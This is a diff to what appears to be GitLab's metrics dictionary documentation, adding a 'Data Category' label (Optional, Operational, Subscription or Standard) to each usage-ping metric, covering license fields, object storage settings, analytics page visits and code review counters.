@@ -6942,6 +8246,8 @@ Edition of GitLab such as EE or CE
Group: `group::distribution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6954,6 +8260,8 @@ Whether Elasticsearch is enabled
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -6966,6 +8274,8 @@ Is Geo enabled?
Group: `group::geo`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -6978,6 +8288,8 @@ Information about Git version
Group: `group::distribution`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6990,6 +8302,8 @@ Total GitLab Managed clusters both enabled and disabled
Group: `group::product intelligence`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -7002,6 +8316,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7014,6 +8330,8 @@ Total Gitalty Servers
Group: `group::product intelligence`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -7026,6 +8344,8 @@ Version of Gitaly
Group: `group::product intelligence`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -7038,6 +8358,8 @@ Whether GitLab Pages is enabled
Group: `group::product intelligence`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7050,6 +8372,8 @@ The version number of GitLab Pages
Group: `group::product intelligence`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7062,6 +8386,8 @@ Whether shared runners is enabled
Group: `group::runner`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7074,6 +8400,8 @@ Whether Gitpod is enabled in the instance
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7086,6 +8414,8 @@ Whether Grafana is enabled
Group: `group::product intelligence`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7098,6 +8428,8 @@ Whether gravatar is enabled
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7110,6 +8442,8 @@ The peak active user count. Active is defined in UsersStatistics model.
Group: `group::license`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7122,6 +8456,8 @@ Host name of GitLab instance
Group: `group::product intelligence`
+Data Category: `Standard`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7134,6 +8470,8 @@ Whether or not ModSecurity is enabled within Ingress
Group: `group::container security`
+Data Category: `Operational`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -7146,6 +8484,8 @@ The installation method used to install GitLab (Omnibus, Helm, etc)
Group: `group::distribution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7158,6 +8498,8 @@ Whether auto DevOps is enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7170,6 +8512,8 @@ Whether LDAP is enabled
Group: `group::product intelligence`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7182,6 +8526,8 @@ Number of all billable users (active users excluding bots and guests).
Group: `group::product intelligence`
+Data Category: `Optional`
+
Status: `implemented`
Tiers: `premium`, `ultimate`
@@ -7194,6 +8540,8 @@ The date the license ends
Group: `group::license`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7206,6 +8554,8 @@ The ID of the license
Group: `group::license`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7218,6 +8568,8 @@ The MD5 hash of license key of the GitLab instance
Group: `group::license`
+Data Category: `Standard`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7230,6 +8582,8 @@ The plan of the GitLab license
Group: `group::license`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7242,6 +8596,8 @@ The date the license starts
Group: `group::license`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7254,6 +8610,8 @@ Licese zuora_subscription_id
Group: `group::license`
+Data Category: `Standard`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7266,6 +8624,8 @@ Whether this is a trial license or not
Group: `group::license`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7278,6 +8638,8 @@ Date the trial license ends on
Group: `group::license`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7290,6 +8652,8 @@ The number of seats included in the license
Group: `group::license`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7302,6 +8666,8 @@ Company on the GitLab license
Group: `group::license`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7314,6 +8680,8 @@ Email on the GitLab license
Group: `group::license`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7326,6 +8694,8 @@ Name on the GitLab license
Group: `group::license`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7338,6 +8708,8 @@ The value of the SMTP server that is used
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7350,6 +8722,8 @@ Whether Mattermost is enabled
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7362,6 +8736,8 @@ Whether Object Storage is enabled for Artifacts
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7374,6 +8750,8 @@ Whether Background Upload for Object Storage is enabled for Artifacts
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7386,6 +8764,8 @@ Whether Direct Upload for Object Storage is enabled for Artifacts
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7398,6 +8778,8 @@ Whether Object Storage is enabled for Artifacts
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7410,6 +8792,8 @@ What Object Storage provider has been configured for Artifacts
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7422,6 +8806,8 @@ Whether Object Storage is enabled for External Diffs
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7434,6 +8820,8 @@ Whether Background Upload for Object Storage is enabled for External Diffs
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7446,6 +8834,8 @@ Whether Direct Upload for Object Storage is enabled for External Diffs
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7458,6 +8848,8 @@ Whether Object Storage is enabled for External Diffs
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7470,6 +8862,8 @@ What Object Storage provider has been configured for External Diffs
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7482,6 +8876,8 @@ Whether Object Storage is enabled for LFS
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7494,6 +8890,8 @@ Whether Background Upload for Object Storage is enabled for LFS
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7506,6 +8904,8 @@ Whether Direct Upload for Object Storage is enabled for LFS
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7518,6 +8918,8 @@ Whether Object Storage is enabled for LFS
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7530,6 +8932,8 @@ What Object Storage provider has been configured for LFS
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7542,6 +8946,8 @@ Whether Object Storage is enabled for Uploads
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7554,6 +8960,8 @@ Whether Background Upload for Object Storage is enabled for Packages
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7566,6 +8974,8 @@ Whether Direct Upload for Object Storage is enabled for Packages
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7578,6 +8988,8 @@ Whether Object Storage is enabled for Packages
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7590,6 +9002,8 @@ What Object Storage provider has been configured for Packages
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7602,6 +9016,8 @@ Whether Object Storage is enabled for Uploads
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7614,6 +9030,8 @@ Whether Background Upload for Object Storage is enabled for Uploads
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7626,6 +9044,8 @@ Whether Direct Upload for Object Storage is enabled for Uploads
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7638,6 +9058,8 @@ Whether Object Storage is enabled for Uploads
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7650,6 +9072,8 @@ What Object Storage provider has been configured for Uploads
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7662,6 +9086,8 @@ Whether OmniAuth is enabled
Group: `group::product intelligence`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7674,6 +9100,8 @@ Whether the bundled Prometheus is enabled
Group: `group::product intelligence`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7686,6 +9114,8 @@ Whether Prometheus Metrics endpoint is enabled
Group: `group::product intelligence`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7698,6 +9128,8 @@ When the Usage Ping computation was started
Group: `group::product intelligence`
+Data Category: `Standard`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7710,6 +9142,8 @@ When the core features were computed
Group: `group::product intelligence`
+Data Category: `Standard`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -7722,6 +9156,8 @@ When the EE-specific features were computed
Group: `group::product intelligence`
+Data Category: `Standard`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7734,6 +9170,8 @@ The number of unique users who visited any analytics feature by month
Group: `group::optimize`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -7746,6 +9184,8 @@ The number of unique users who visited any analytics feature by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -7758,6 +9198,8 @@ Unique visitors to /groups/:group/-/contribution_analytics by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7770,6 +9212,8 @@ Unique visitors to /groups/:group/-/contribution_analytics by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -7782,6 +9226,8 @@ Unique visitors to /groups/:group/-/insights/ by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7794,6 +9240,8 @@ Unique visitors to /groups/:group/-/insights/ by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -7806,6 +9254,8 @@ Unique visitors to /groups/:group/-/issues_analytics by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7818,6 +9268,8 @@ Unique visitors to /groups/:group/-/issues_analytics by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -7830,6 +9282,8 @@ Missing description
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`
@@ -7842,6 +9296,8 @@ Missing description
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `removed`
Tiers:
@@ -7854,6 +9310,8 @@ Unique visitors to /groups/:group/-/analytics/productivity_analytics by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7866,6 +9324,8 @@ Unique visitors to /groups/:group/-/analytics/productivity_analytics by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -7878,6 +9338,8 @@ Unique visitors to /groups/:group/-/analytics/value_stream_analytics by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7890,6 +9352,8 @@ Unique visitors to /groups/:group/-/analytics/value_stream_analytics by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -7902,6 +9366,8 @@ Missing description
Group: `group::utilization`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7914,6 +9380,8 @@ Missing description
Group: `group::utilization`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -7926,6 +9394,8 @@ Counts visits to DevOps Adoption page per month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7938,6 +9408,8 @@ Counts visits to DevOps Adoption page per week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7950,6 +9422,8 @@ Unique visitors to /admin/dev_ops_report by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7962,6 +9436,8 @@ Unique visitors to /admin/dev_ops_report by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -7974,6 +9450,8 @@ Unique visitors to /admin/usage_trends by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -7986,6 +9464,8 @@ Unique visitors to /admin/usage_trends by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -7998,6 +9478,8 @@ Unique visitors to /:group/:project/-/analytics/code_reviews by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -8010,6 +9492,8 @@ Unique visitors to /:group/:project/-/analytics/code_reviews by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8022,6 +9506,8 @@ Unique visitors to /:group/:project/insights/ by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -8034,6 +9520,8 @@ Unique visitors to /:group/:project/insights/ by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8046,6 +9534,8 @@ Unique visitors to /:group/:project/-/analytics/issues_analytics by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -8058,6 +9548,8 @@ Unique visitors to /:group/:project/-/analytics/issues_analytics by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8070,6 +9562,8 @@ Unique visitors to /:group/:project/-/analytics/merge_request_analytics by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -8082,6 +9576,8 @@ Unique visitors to /:group/:project/-/analytics/merge_request_analytics by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8094,6 +9590,8 @@ Unique visitors to /groups/:group/-/analytics/ci_cd by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -8106,6 +9604,8 @@ Unique visitors to /groups/:group/-/analytics/ci_cd by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8118,6 +9618,8 @@ Unique visitors to /:group/:project/-/graphs/master/charts by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -8130,6 +9632,8 @@ Unique visitors to /:group/:project/-/graphs/master/charts by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8142,6 +9646,8 @@ Unique visitors to /:group/:project/-/value_stream_analytics by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -8154,6 +9660,8 @@ Unique visitors to /:group/:project/-/value_stream_analytics by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8166,6 +9674,8 @@ Counts visits to DevOps Adoption page per month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -8178,6 +9688,8 @@ Counts visits to DevOps Adoption page per week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -8190,6 +9702,8 @@ Monthly active users creating pipelines that that have the Vault JWT with it.'
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -8202,6 +9716,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8214,6 +9730,8 @@ Total count of pipelines runs
Group: `group::configure`
+Data Category: `Optional`
+
Status: `broken`
Tiers: `free`, `premium`, `ultimate`
@@ -8226,6 +9744,8 @@ Total count of pipelines runs
Group: `group::configure`
+Data Category: `Optional`
+
Status: `broken`
Tiers: `free`, `premium`, `ultimate`
@@ -8238,6 +9758,8 @@ Number of projects using 5 min production app CI template in last 7 days.
Group: `group::5-min-app`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8250,6 +9772,8 @@ Number of projects using 5 min production app CI template in last 7 days.
Group: `group::5-min-app`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8262,6 +9786,8 @@ Count of pipelines using the Auto Build template
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8274,6 +9800,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8286,6 +9814,8 @@ Count of pipelines using the latest Auto Deploy template
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8298,6 +9828,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8310,6 +9842,8 @@ Count of pipelines using the stable Auto Deploy template
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8322,6 +9856,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8334,6 +9870,8 @@ Count of pipelines using the Auto DevOps template
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8346,6 +9884,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8358,6 +9898,8 @@ Count of projects using `AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml` template
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8370,6 +9912,8 @@ Count of projects using `AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml` template
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8382,6 +9926,8 @@ Count of projects using `AWS/Deploy-ECS.gitlab-ci.yml` template in last 28 days.
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8394,6 +9940,8 @@ Count of projects using `AWS/Deploy-ECS.gitlab-ci.yml` template in last 7 days.
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8406,6 +9954,8 @@ Count of pipelines with implicit Auto Build runs
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8418,6 +9968,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8430,6 +9982,8 @@ Count of pipelines with implicit Auto Deploy runs
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8442,6 +9996,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8454,6 +10010,8 @@ Count of pipelines with implicit Auto DevOps runs
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8466,6 +10024,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8478,6 +10038,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -8490,6 +10052,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8502,6 +10066,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -8514,6 +10080,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8526,6 +10094,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -8538,6 +10108,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8550,6 +10122,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -8562,6 +10136,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8574,6 +10150,8 @@ Count of pipelines that include the terraform base template from GitLab
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8586,6 +10164,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -8598,6 +10178,8 @@ Count of unique users per month who interact with a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8610,6 +10192,8 @@ Count of unique users per week who interact with a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8622,6 +10206,8 @@ Count of users clicking diff view setting
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8634,6 +10220,8 @@ Count of users clicking diff view setting
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8646,6 +10234,8 @@ Count of users clicking merge request file browser setting
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8658,6 +10248,8 @@ Count of users with merge request file list setting
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8670,6 +10262,8 @@ Count of users clicking single file mode setting
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8682,6 +10276,8 @@ Count of users clicking single file mode setting
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8694,6 +10290,8 @@ Count of users clicking merge request whitespae setting
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8706,6 +10304,8 @@ Count of users clicking merge request whitespae setting
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8718,6 +10318,8 @@ Count of users with show whitespace disabled
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8730,6 +10332,8 @@ Count of users with show whitespace disabled
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8742,6 +10346,8 @@ Count of users with single mode disabled
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8754,6 +10360,8 @@ Count of users with single mode disabled
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8766,6 +10374,8 @@ Count of users with show whitespace enabled
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8778,6 +10388,8 @@ Count of users with show whitespace enabled
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8790,6 +10402,8 @@ Count of users with single file mode enabled
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8802,6 +10416,8 @@ Count of users with single file mode enabled
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8814,6 +10430,8 @@ Count of users with merge request view type as inline
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8826,6 +10444,8 @@ Count of users with merge request view type as inline
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8838,6 +10458,8 @@ Count of users with merge request view type as parallel
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8850,6 +10472,8 @@ Count of users with merge request view type as parallel
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8862,6 +10486,8 @@ Count of unique users per month who edit the description of a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8874,6 +10500,8 @@ Count of unique users per week who edit the description of a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8886,6 +10514,8 @@ Count of unique users per month who edit the title of a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8898,6 +10528,8 @@ Count of unique users per week who edit the title of a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8910,6 +10542,8 @@ Count of users with merge request file list setting
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8922,6 +10556,8 @@ Count of users with merge request file list setting
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8934,6 +10570,8 @@ Count of users with merge request file tree setting
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8946,6 +10584,8 @@ Count of users with merge request file tree setting
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8958,6 +10598,8 @@ Count of unique merge requests per month with diffs viewed
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8970,6 +10612,8 @@ Count of unique merge requests per week with diffs viewed
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8982,6 +10626,8 @@ Count of unique merge requests per month with diffs viewed file by file
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8994,6 +10640,8 @@ Count of unique merge requests per week with diffs viewed file by file
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9006,6 +10654,8 @@ Count of unique users per month who added a suggestion
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9018,6 +10668,8 @@ Count of unique users per week who added a suggestion
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9030,6 +10682,8 @@ Count of unique users per month who applied a suggestion
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9042,6 +10696,8 @@ Count of unique users per week who applied a suggestion
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9054,6 +10710,8 @@ Count of unique users per month who add an approval rule to a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9066,6 +10724,8 @@ Count of unique users per week who add an approval rule to a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
